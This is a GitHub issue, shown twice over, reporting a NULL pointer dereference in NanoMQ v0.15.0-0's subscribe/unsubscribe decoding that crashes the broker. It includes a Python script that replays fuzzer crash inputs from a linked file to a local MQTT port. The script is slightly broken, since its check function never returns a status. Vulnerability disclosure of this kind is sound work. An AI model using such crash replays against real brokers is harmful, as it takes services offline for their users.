In NanoMQ v0.15.0-0, segment fault with Null Pointer Dereference occurs in the process of decoding subinfo_decode and unsubinfo_decode.
**Describe the bug**
segments fault with CWE-476 (NULL Pointer Dereference) occurred in the process of decoding `subinfo_decode` and `unsubinfo_decode`

**Expected behavior**
Dos

**Actual Behavior**
Describe what occurred.

**To Reproduce**
```python
import subprocess
import time 
import socket

def check_input(input, sleep_time = 0.01):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	while True:
		try:
			s.connect(('127.0.0.1', 1883))
			s.send(input)      
			s.close()
			break
		except ConnectionResetError:
			continue
		except ConnectionRefusedError:
			break

	time.sleep(sleep_time)

def check_crash_log(crash_log):
	for c in reversed(crash_log):
		c_bytes = bytearray.fromhex(c)
		status = check_input(c_bytes, 0.25)
		if status == False:
			print('[+] A crash was detected')
			return c_bytes
	print('[-] No crash..')
	exit(-1)

with open('target-1675744763.830481.txt', 'r') as f:
	crash_log = f.readlines()

check_crash_log(crash_log)
```

target file
[target-1675744763.830481.txt](https://github.com/emqx/nanomq/files/10671921/target-1675744763.830481.txt)

img file
backtrace : 
![bt](https://user-images.githubusercontent.com/32904385/217160464-96e8f166-d2a5-4c96-b6a8-bd27e813af77.png)

debug : 
![a1](https://user-images.githubusercontent.com/32904385/217160530-6ce9a678-942f-432b-8ea5-b2a82d4d8a6e.png)

![a2](https://user-images.githubusercontent.com/32904385/217160555-e084b391-e3ec-4cd7-894b-cb3127e09e94.png)

** Environment Details **
 - NanoMQ version : v0.15.0-0

 - Operating system and version : Linux lab-virtual-machine 5.15.0-58-generic x86_64 x86_64 x86_64 GNU/Linux

 - Compiler and language used : I using Debugging guide(debug NanoMQ with GDB.) Option with ninja compile
  
 - testing scenario
Run the broker with the `./nanomq start` command, put the target file and the python file in the same path, and run python.

**Client SDK**
Using MQTT Raw Packet

**Additional context**
Add any other context about the problem here.

Segment Fault occurs due to NULL Pointer reference in `subinfo_decode` & `unsubinfo_decode` while broker is parsing mqtt
This is a GitHub Issue
repo:nanomq
owner:emqx
Title : Segment Fault occurs due to NULL Pointer reference in `subinfo_decode` & `unsubinfo_decode` while broker is parsing mqtt
Issue date:

--- start body ---
**Describe the bug**
segments fault with CWE-476 (NULL Pointer Dereference) occurred in the process of decoding `subinfo_decode` and `unsubinfo_decode`

**Expected behavior**
Dos

**Actual Behavior**
Describe what occurred.

**To Reproduce**
```python
import subprocess
import time 
import socket

def check_input(input, sleep_time = 0.01):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	while True:
		try:
			s.connect(('127.0.0.1', 1883))
			s.send(input)      
			s.close()
			break
		except ConnectionResetError:
			continue
		except ConnectionRefusedError:
			break

	time.sleep(sleep_time)

def check_crash_log(crash_log):
	for c in reversed(crash_log):
		c_bytes = bytearray.fromhex(c)
		status = check_input(c_bytes, 0.25)
		if status == False:
			print('[+] A crash was detected')
			return c_bytes
	print('[-] No crash..')
	exit(-1)

with open('target-1675744763.830481.txt', 'r') as f:
	crash_log = f.readlines()

check_crash_log(crash_log)
```

target file
[target-1675744763.830481.txt](https://github.com/emqx/nanomq/files/10671921/target-1675744763.830481.txt)

img file
backtrace : 
![bt](https://user-images.githubusercontent.com/32904385/217160464-96e8f166-d2a5-4c96-b6a8-bd27e813af77.png)

debug : 
![a1](https://user-images.githubusercontent.com/32904385/217160530-6ce9a678-942f-432b-8ea5-b2a82d4d8a6e.png)

![a2](https://user-images.githubusercontent.com/32904385/217160555-e084b391-e3ec-4cd7-894b-cb3127e09e94.png)

** Environment Details **
 - NanoMQ version : v0.15.0-0

 - Operating system and version : Linux lab-virtual-machine 5.15.0-58-generic x86_64 x86_64 x86_64 GNU/Linux

 - Compiler and language used : I using Debugging guide(debug NanoMQ with GDB.) Option with ninja compile
  
 - testing scenario
Run the broker with the `./nanomq start` command, put the target file and the python file in the same path, and run python.

**Client SDK**
Using MQTT Raw Packet

**Additional context**
Add any other context about the problem here.

--- end body ---
